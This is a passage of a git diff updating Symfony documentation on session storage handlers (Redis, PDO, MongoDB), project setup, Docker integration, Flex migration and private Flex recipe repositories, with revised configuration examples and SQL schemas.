+        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('session', Session::class)
+                ->public()
+                ->args([
+                    ref('session.storage'),
+                    ref('session.namespacedattributebag'),
+                    ref('session.flash_bag'),
+                ])
+            ;
+
+            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
+        };
+
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
@@ -196,22 +257,6 @@ the existence of data in the session. This may hurt your application performance
 because all users will receive a session cookie. In order to prevent that, you
 must *completely* avoid accessing the session.
 
-For example, if your templates include some code to display the
-:ref:`flash messages <flash-messages>`, sessions will start even if the user
-is not logged in and even if you haven't created any flash messages. To avoid
-this behavior, add a check before trying to access the flash messages:
-
-.. code-block:: html+twig
-
-    {# this check prevents starting a session when there are no flash messages #}
-    {% if app.request.hasPreviousSession %}
-        {% for message in app.flashes('notice') %}
-            <div class="flash-notice">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endif %}
-
 More about Sessions
 -------------------
 
diff --git a/session/database.rst b/session/database.rst
index e01d32c6d79..16715c2b150 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -5,7 +5,7 @@ Store Sessions in a Database
 ============================
 
 Symfony stores sessions in files by default. If your application is served by
-multiple servers, you'll need to use instead a database to make sessions work
+multiple servers, you'll need to use a database instead to make sessions work
 across different servers.
 
 Symfony can store sessions in all kinds of databases (relational, NoSQL and
@@ -63,8 +63,6 @@ First, define a Symfony service for the connection to the Redis server:
 
     .. code-block:: php
 
-        use Symfony\Component\DependencyInjection\Reference;
-
         // ...
         $container
             // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
@@ -89,9 +87,10 @@ and ``RedisProxy``:
             Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
                 arguments:
                     - '@Redis'
-                    # you can optionally pass an array of options. The only option is 'prefix',
-                    # which defines the prefix to use for the keys to avoid collision on the Redis server
-                    # - { prefix: 'my_prefix' }
+                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
+                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
     .. code-block:: xml
 
@@ -99,10 +98,12 @@ and ``RedisProxy``:
         <services>
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
-                <!-- you can optionally pass an array of options. The only option is 'prefix',
-                     which defines the prefix to use for the keys to avoid collision on the Redis server:
+                <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                     which define the prefix to use for the keys to avoid collision on the Redis server
+                     and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
+                    <argument key="ttl">600</argument>
                 </argument> -->
             </service>
         </services>
@@ -110,15 +111,17 @@ and ``RedisProxy``:
     .. code-block:: php
 
         // config/services.php
+        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
 
         $container
             ->register(RedisSessionHandler::class)
             ->addArgument(
                 new Reference('Redis'),
-                // you can optionally pass an array of options. The only option is 'prefix',
-                // which defines the prefix to use for the keys to avoid collision on the Redis server:
-                // ['prefix' => 'my_prefix'],
+                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                // which define the prefix to use for the keys to avoid collision on the Redis server
+                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
@@ -146,14 +149,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => RedisSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(RedisSessionHandler::class)
+            ;
+        };
 
 That's all! Symfony will now use your Redis server to read and write the session
 data. The main drawback of this solution is that Redis does not perform session
@@ -166,11 +169,11 @@ parallel and only the first one stored the CSRF token in the session.
     If you use Memcached instead of Redis, follow a similar approach but replace
     ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
-Store Sessions in a Relational Database (MySQL, PostgreSQL)
------------------------------------------------------------
+Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
+--------------------------------------------------------------------
 
 Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-to store sessions in relational databases like MySQL and PostgreSQL. To use it,
+to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
 first register a new handler service with your database credentials:
 
 .. configuration-block::
@@ -205,7 +208,7 @@ first register a new handler service with your database credentials:
                     <argument>%env(DATABASE_URL)%</argument>
 
                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
-                    <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument>
+                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
                         <argument type="collection">
                             <argument key="db_username">myuser</argument>
                             <argument key="db_password">mypassword</argument>
@@ -234,6 +237,16 @@ first register a new handler service with your database credentials:
             ;
         };
 
+.. tip::
+
+    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
+    contain the ``charset`` and ``unix_socket`` options as query string parameters.
+
+    .. versionadded:: 5.3
+
+        The support for ``charset`` and ``unix_socket`` options was introduced
+        in Symfony 5.3.
+
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
 
@@ -260,14 +273,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => PdoSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(PdoSessionHandler::class)
+            ;
+        };
 
 Configuring the Session Table and Column Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -390,8 +403,10 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
-MySQL
-.....
+.. _mysql:
+
+MariaDB/MySQL
+.............
 
 .. code-block:: sql
 
@@ -399,7 +414,8 @@ MySQL
         `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
         `sess_data` BLOB NOT NULL,
         `sess_lifetime` INTEGER UNSIGNED NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL
+        `sess_time` INTEGER UNSIGNED NOT NULL,
+        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
     ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
 
 .. note::
@@ -420,6 +436,7 @@ PostgreSQL
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );
+    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
 
 Microsoft SQL Server
 ....................
@@ -428,9 +445,10 @@ Microsoft SQL Server
 
     CREATE TABLE sessions (
         sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data VARBINARY(MAX) NOT NULL,
+        sess_data NVARCHAR(MAX) NOT NULL,
         sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL
+        sess_time INTEGER NOT NULL,
+        INDEX sessions_sess_lifetime_idx (sess_lifetime)
     );
 
 Store Sessions in a NoSQL Database (MongoDB)
@@ -479,7 +497,7 @@ the MongoDB connection as argument:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
@@ -517,14 +535,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => MongoDbSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(MongoDbSessionHandler::class)
+            ;
+        };
 
 .. note::
 
@@ -541,7 +559,7 @@ performance. Run this from the `MongoDB shell`_:
 .. code-block:: javascript
 
     use session_db
-    db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
 
 Configuring the Session Field Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -588,7 +606,7 @@ configure these values with the second argument passed to the
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
@@ -596,7 +614,7 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
                 ])
             ;
         };
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index 056f2a674cb..483c581adb9 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -109,7 +109,8 @@ via some "Change Locale" route & controller), or create a route with the :ref:`_
             $container->register(LocaleSubscriber::class)
                 ->addArgument('%kernel.default_locale%')
                 // uncomment the next line if you are not using autoconfigure
-                // ->addTag('kernel.event_subscriber');
+                // ->addTag('kernel.event_subscriber')
+            ;
 
 That's it! Now celebrate by changing the user's locale and seeing that it's
 sticky throughout the request.
@@ -146,7 +147,7 @@ event::
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
     use Symfony\Component\Security\Http\SecurityEvents;
 
@@ -156,11 +157,11 @@ event::
      */
     class UserLocaleSubscriber implements EventSubscriberInterface
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function onInteractiveLogin(InteractiveLoginEvent $event)
@@ -168,7 +169,7 @@ event::
             $user = $event->getAuthenticationToken()->getUser();
 
             if (null !== $user->getLocale()) {
-                $this->session->set('_locale', $user->getLocale());
+                $this->requestStack->getSession()->set('_locale', $user->getLocale());
             }
         }
 
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
index 42c8644e2a7..a0fbfc8e06b 100644
--- a/session/php_bridge.rst
+++ b/session/php_bridge.rst
@@ -18,7 +18,7 @@ for the ``handler_id``:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: ~
 
     .. code-block:: xml
@@ -32,7 +32,7 @@ for the ``handler_id``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
+                <framework:session storage-factory-id="session.storage.factory.php_bridge"
                     handler-id="null"
                 />
             </framework:config>
@@ -41,12 +41,14 @@ for the ``handler_id``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_id' => 'session.storage.php_bridge',
-                'handler_id' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId(null)
+            ;
+        };
 
 Otherwise, if the problem is that you cannot avoid the application
 starting the session with ``session_start()``, you can still make use of
@@ -60,7 +62,7 @@ the example below:
         # config/packages/framework.yaml
         framework:
             session:
-                storage_id: session.storage.php_bridge
+                storage_factory_id: session.storage.factory.php_bridge
                 handler_id: session.handler.native_file
 
     .. code-block:: xml
@@ -83,12 +85,14 @@ the example below:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_id' => 'session.storage.php_bridge',
-                'handler_id' => 'session.storage.native_file',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId('session.storage.native_file')
+            ;
+        };
 
 .. note::
 
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index c4c3f9423a3..67d46adb27b 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -46,13 +46,14 @@ Symfony to use your session handler instead of the default one:
 
         // config/packages/framework.php
         use App\Session\CustomSessionHandler;
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                // ...
-                'handler_id' => CustomSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(CustomSessionHandler::class)
+            ;
+        };
 
 Keep reading the next sections to learn how to use the session handlers in practice
 to solve two common use cases: encrypt session information and define read-only
diff --git a/setup.rst b/setup.rst
index 8e8f7c5610e..bd8e018da8f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,6 +20,10 @@ Before creating your first Symfony application you must:
 * Install PHP 7.2.5 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
+
+  * Note that all newer, released versions of PHP will be supported during the
+    lifetime of each Symfony release (including new major versions).
+    For example, PHP 8.0 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called
@@ -50,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --version=5.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name --version=5.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -81,6 +85,35 @@ started. In other words, your new application is ready!
     and ``<project>/var/log/``) must be writable by the web server. If you have
     any issue, read how to :doc:`set up permissions for Symfony applications </setup/file_permissions>`.
 
+.. _install-existing-app:
+
+Setting up an Existing Symfony Project
+--------------------------------------
+
+In addition to creating new Symfony projects, you will also work on projects
+already created by other developers. In that case, you only need to get the
+project code and install the dependencies with Composer. Assuming your team uses
+Git, setup your project with the following commands:
+
+.. code-block:: terminal
+
+    # clone the project to download its contents
+    $ cd projects/
+    $ git clone ...
+
+    # make Composer install the project's dependencies into vendor/
+    $ cd my-project/
+    $ composer install
+
+You'll probably also need to customize your :ref:`.env file <config-dot-env>`
+and do a few other project-specific tasks (e.g. creating a database). When
+working on a existing Symfony application for the first time, it may be useful
+to run this command which displays information about the project:
+
+.. code-block:: terminal
+
+    $ php bin/console about
+
 Running Symfony Applications
 ----------------------------
 
@@ -89,6 +122,8 @@ In production, you should install a webserver like Nginx or Apache and
 method can also be used if you're not using the Symfony local web server for
 development.
 
+.. _symfony-binary-web-server:
+
 However for local development, the most convenient way of running Symfony is by
 using the :doc:`local web server </setup/symfony_server>` provided by the
 ``symfony`` binary. This local server provides among other things support for
@@ -112,34 +147,10 @@ the server by pressing ``Ctrl+C`` from your terminal.
     The web server works with any PHP application, not only Symfony projects,
     so it's a very useful generic development tool.
 
-.. _install-existing-app:
-
-Setting up an Existing Symfony Project
---------------------------------------
+Symfony Docker Integration
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In addition to creating new Symfony projects, you will also work on projects
-already created by other developers. In that case, you only need to get the
-project code and install the dependencies with Composer. Assuming your team uses
-Git, setup your project with the following commands:
-
-.. code-block:: terminal
-
-    # clone the project to download its contents
-    $ cd projects/
-    $ git clone ...
-
-    # make Composer install the project's dependencies into vendor/
-    $ cd my-project/
-    $ composer install
-
-You'll probably also need to customize your :ref:`.env file <config-dot-env>`
-and do a few other project-specific tasks (e.g. creating a database). When
-working on a existing Symfony application for the first time, it may be useful
-to run this command which displays information about the project:
-
-.. code-block:: terminal
-
-    $ php bin/console about
+If you'd like to use Docker with Symfony, see :doc:`setup/docker`
 
 .. _symfony-flex:
 
@@ -210,12 +221,11 @@ For example, to add debugging features in your application, you can run the
 which in turn installs several packages like ``symfony/debug-bundle``,
 ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc.
 
-By default, when installing Symfony packs, your ``composer.json`` file shows the
-pack dependency (e.g. ``"symfony/debug-pack": "^1.0"``) instead of the actual
-packages installed. To show the packages, add the ``--unpack`` option when
-installing a pack (e.g. ``composer require debug --dev --unpack``) or run this
-command to unpack the already installed packs: ``composer unpack PACK_NAME``
-(e.g. ``composer unpack debug``).
+You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``,
+as Flex automatically unpacks the pack. This means that it only adds the real
+packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in
+``require-dev``). While it is not recommended, you can use the ``composer
+require --no-unpack ...`` option to disable unpacking.
 
 .. _security-checker:
 
@@ -261,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------
@@ -300,6 +310,7 @@ Learn More
     :maxdepth: 1
     :glob:
 
+    setup/docker
     setup/homestead
     setup/web_server_configuration
     setup/*
diff --git a/setup/_vendor_deps.rst.inc b/setup/_vendor_deps.rst.inc
deleted file mode 100644
index 58f582be681..00000000000
--- a/setup/_vendor_deps.rst.inc
+++ /dev/null
@@ -1,59 +0,0 @@
-Managing Vendor Libraries with ``composer.json``
-------------------------------------------------
-
-How Does it Work?
-~~~~~~~~~~~~~~~~~
-
-Every Symfony project uses a group of third-party "vendor" libraries. One
-way or another the goal is to download these files into your ``vendor/``
-directory and, ideally, to give you some sane way to manage the exact version
-you need for each.
-
-By default, these libraries are downloaded by running a ``composer install``
-"downloader" binary. This ``composer`` file is from a library called `Composer`_
-and you can read more about :doc:`installing Composer globally </setup/composer>`.
-
-The ``composer`` command reads from the ``composer.json`` file at the root
-of your project. This is an JSON-formatted file, which holds a list of each
-of the external packages you need, the version to be downloaded and more.
-``composer`` also reads from a ``composer.lock`` file, which allows you to
-pin each library to an **exact** version. In fact, if a ``composer.lock``
-file exists, the versions inside will override those in ``composer.json``.
-To upgrade your libraries to new versions, run ``composer update``.
-
-.. tip::
-
-    If you want to add a new package to your application, run the composer
-    ``require`` command:
-
-    .. code-block:: terminal
-
-        $ composer require doctrine/doctrine-fixtures-bundle
-
-To learn more about Composer, see `GetComposer.org`_:
-
-It's important to realize that these vendor libraries are *not* actually part
-of *your* repository. Instead, they're un-tracked files that are downloaded
-into the ``vendor/``. But since all the information needed to download these
-files is saved in ``composer.json`` and ``composer.lock`` (which *are* stored
-in the repository), any other developer can use the project, run ``composer install``,
-and download the exact same set of vendor libraries. This means that you're
-controlling exactly what each vendor library looks like, without needing to
-actually commit them to *your* repository.
-
-So, whenever a developer uses your project, they should run the ``composer install``
-script to ensure that all of the needed vendor libraries are downloaded.
-
-.. sidebar:: Upgrading Symfony
-
-    Since Symfony is just a group of third-party libraries and third-party
-    libraries are entirely controlled through ``composer.json`` and ``composer.lock``,
-    upgrading Symfony means simply upgrading each of these files to match
-    their state in the latest Symfony Standard Edition.
-
-    If you've added new entries to ``composer.json``, be sure
-    to replace only the original parts (i.e. be sure not to also delete any of
-    your custom entries).
-
-.. _Composer: https://getcomposer.org/
-.. _GetComposer.org: https://getcomposer.org/
diff --git a/setup/docker.rst b/setup/docker.rst
new file mode 100644
index 00000000000..bd8eb145af8
--- /dev/null
+++ b/setup/docker.rst
@@ -0,0 +1,56 @@
+.. index:: Docker
+
+Using Docker with Symfony
+=========================
+
+Can you use Docker with Symfony? Of course! And several tools exist to help,
+depending on your needs.
+
+Complete Docker Environment
+---------------------------
+
+If you'd like a complete Docker environment (i.e. where PHP, web server, database,
+etc. are all in Docker), check out `https://github.com/dunglas/symfony-docker`_.
+
+Alternatively, you can install PHP on your local machine and use the
+:ref:`symfony binary Docker integration <symfony-server-docker>`. In both cases,
+you can take advantage of automatic Docker configuration from :ref:`Symfony Flex <symfony-flex>`.
+
+Flex Recipes & Docker Configuration
+-----------------------------------
+
+The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
+For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
+your ``docker-compose.yml`` file will automatically be updated to include a
+``database`` service.
+
+The first time you install a recipe containing Docker config, Flex will ask you
+if you want to include it. Or, you can set your preference in ``composer.json``,
+by setting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+
+Some recipes also include additions to your ``Dockerfile``. To get those changes,
+you need to already have a ``Dockerfile`` at the root of your app *with* the
+following code somewhere inside:
+
+.. code-block:: text
+
+    ###> recipes ###
+    ###< recipes ###
+
+The recipe will find this section and add the changes inside. If you're using
+`https://github.com/dunglas/symfony-docker`_, you'll already have this.
+
+After installing the package, rebuild your containers by running:
+
+.. code-block:: terminal
+
+    $ docker-compose up --build
+
+Symfony Binary Web Server and Docker Support
+--------------------------------------------
+
+If you're using the :ref:`symfony binary web server` (e.g. ``symfony server:start``),
+then it can automatically detect your Docker services and expose them as environment
+variables. See :ref:`symfony-server-docker`.
+
+.. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
diff --git a/setup/flex.rst b/setup/flex.rst
index dd26b2aa9fb..491d9ba7d0b 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -58,14 +58,14 @@ manual steps:
 
    .. code-block:: diff
 
-       {
-           "require": {
-               "symfony/flex": "^1.0",
-       +     },
-       +     "conflict": {
-       +         "symfony/symfony": "*"
-           }
-       }
+         {
+             "require": {
+                 "symfony/flex": "^1.0",
+       +   },
+       +   "conflict": {
+       +       "symfony/symfony": "*"
+             }
+         }
 
    Now you must add in ``composer.json`` all the Symfony dependencies required
    by your project. A quick way to do that is to add all the components that
@@ -89,7 +89,7 @@ manual steps:
        $ rm -rf vendor/*
        $ composer install
 
-#. No matter which of the previous steps you followed. At this point, you'll have
+#. Regardless of which of the previous steps you followed, at this point you'll have
    lots of new config files in ``config/``. They contain the default config
    defined by Symfony, so you must check your original files in ``app/config/``
    and make the needed changes in the new files. Flex config doesn't use suffixes
@@ -100,7 +100,7 @@ manual steps:
    located at ``config/services.yaml``. Copy the contents of the
    `default services.yaml file`_ and then add your own service configuration.
    Later you can revisit this file because thanks to Symfony's
-   :doc:`autowiring feature </service_container/3.3-di-changes>` you can remove
+   :doc:`autowiring feature </service_container/autowiring>` you can remove
    most of the service configuration.
 
    .. note::
@@ -117,14 +117,14 @@ manual steps:
    * ``app/Resources/<BundleName>/views/`` -> ``templates/bundles/<BundleName>/``
    * rest of ``app/Resources/`` files -> ``src/Resources/``
 
-#. Move the original PHP source code from ``src/AppBundle/*``, except bundle
+#. Move the original PHP source code files from ``src/AppBundle/*``, except bundle
    specific files (like ``AppBundle.php`` and ``DependencyInjection/``), to
-   ``src/``.
+   ``src/`` and update the namespace of each moved file to be ``App\...`` (advanced
+   IDEs can do this automatically).
 
    In addition to moving the files, update the ``autoload`` and ``autoload-dev``
    values of the ``composer.json`` file as `shown in this example`_ to use
-   ``App\`` and ``App\Tests\`` as the application namespaces (advanced IDEs can
-   do this automatically).
+   ``App\`` and ``App\Tests\`` as the application namespaces.
 
    If you used multiple bundles to organize your code, you must reorganize your
    code into ``src/``. For example, if you had ``src/UserBundle/Controller/DefaultController.php``
@@ -134,6 +134,8 @@ manual steps:
 #. Move the public assets, such as images or compiled CSS/JS files, from
    ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``).
 
+#. Remove ``src/AppBundle/``.
+
 #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use
    :doc:`Webpack Encore </frontend>` to manage and compile them.
 
@@ -149,12 +151,6 @@ manual steps:
 #. Update the ``bin/console`` script `copying Symfony's bin/console source`_
    and changing anything according to your original console script.
 
-#. Remove ``src/AppBundle/``.
-
-#. Move the original source code from ``src/{App,...}Bundle/`` to ``src/`` and
-   update the namespaces of every PHP file to be ``App\...`` (advanced IDEs can do
-   this automatically).
-
 #. Remove the ``bin/symfony_requirements`` script and if you need a replacement
    for it, use the new `Symfony Requirements Checker`_.
 
@@ -193,9 +189,14 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/services.yaml
-.. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
-.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
+Learn more
+----------
+
+* :doc:`/setup/flex_private_recipes`
+
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/config/services.yaml
+.. _`shown in this example`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L30-L39
+.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L55-L57
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.3/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker
diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
new file mode 100644
index 00000000000..5941ba2908f
--- /dev/null
+++ b/setup/flex_private_recipes.rst
@@ -0,0 +1,221 @@
+How To Configure and Use Flex Private Recipe Repositories
+=========================================================
+
+Since the `release of version 1.16`_ of ``symfony/flex``, you can build your own
+private Symfony Flex recipe repositories, and seamlessly integrate them into the
+``composer`` package installation and maintenance process.
+
+This is particularly useful when you have private bundles or packages that must
+perform their own installation tasks. To do this, you need to complete several steps:
+
+* Create a private GitHub repository;
+* Create your private recipes;
+* Create an index to the recipes;
+* Store your recipes in the private repository;
+* Grant ``composer`` access to the private repository;
+* Configure your project's ``composer.json`` file; and
+* Install the recipes in your project.
+
+Create a Private GitHub Repository
+----------------------------------
+
+Log in to your GitHub.com account, click your account icon in the top-right
+corner, and select **Your Repositories**. Then click the **New** button, fill in
+the **repository name**, select the **Private** radio button, and click the
+**Create Repository** button.
+
+Create Your Private Recipes
+---------------------------
+
+A ``symfony/flex`` recipe is a JSON file that has the following structure:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "acme/package-name": {
+                "manifest": {
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+If your package is a private Symfony bundle, you will have the following in the recipe:
+
+.. code-block:: json
+
+    {
+        "manifests": {
+            "acme/private-bundle": {
+                "manifest": {
+                    "bundles": {
+                        "Acme\\PrivateBundle\\AcmePrivateBundle": [
+                            "all"
+                        ]
+                    }
+                },
+                "ref": "7405f3af1312d1f9121afed4dddef636c6c7ff00"
+            }
+        }
+    }
+
+Replace ``acme`` and ``private-bundle`` with your own private bundle details.
+The ``"ref"`` entry is a random 40-character string used by ``composer`` to
+determine if your recipe was modified. Every time that you make changes to your
+recipe, you also need to generate a new ``"ref"`` value.
+
+.. tip::
+
+    Use the following PHP script to generate a random ``"ref"`` value::
+
+        echo bin2hex(random_bytes(20));
+
